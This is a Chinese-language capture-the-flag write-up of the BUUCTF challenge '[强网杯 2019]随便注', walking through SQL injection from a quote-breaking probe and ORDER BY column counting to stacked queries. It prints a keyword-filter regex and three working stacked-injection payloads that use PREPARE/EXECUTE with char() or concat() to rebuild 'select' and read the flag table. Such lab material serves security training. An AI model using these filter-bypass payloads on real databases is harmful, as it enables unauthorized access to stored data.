BUUCTF [强网杯 2019]随便注

打开环境后尝试直接提交,效果如下:

根据题目名称猜测存在SQL注入,尝试提交1'

其中,回显报错为

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

 分析后可知当前语句用单引号包裹,接下来猜解列数。

1' order by 1#    // 回显正常
1' order by 2#    // 回显正常
1' order by 3#    // error 1054 : Unknown column '3' in 'order clause'

当前表中列数为3,接下来利用union查询确定回显位置

1' union select 1,2#
回显:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

回显显示select等敏感词被过滤,无法进行联合查询。

尝试进行堆叠注入 

1';show tables;#

 

 

堆叠注入成功并返回表名,接下来查询表中列名。

1';desc `1919810931114514`;#

 

 发现名为flag的列,这里要注意查询1919810931114514表时需要用反单引号括起来(反单引号`是数据库、表、索引、列、别名用的引用符)。

此时可以利用预处理语句查询该列

payload1
1';PREPARE a from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE a;#

payload2
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE a from @sql;EXECUTE a;#

payload3
	
1';PREPARE a from concat('s','elect', ' * from `1919810931114514` ');EXECUTE a;#

查询后即可得到flag

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值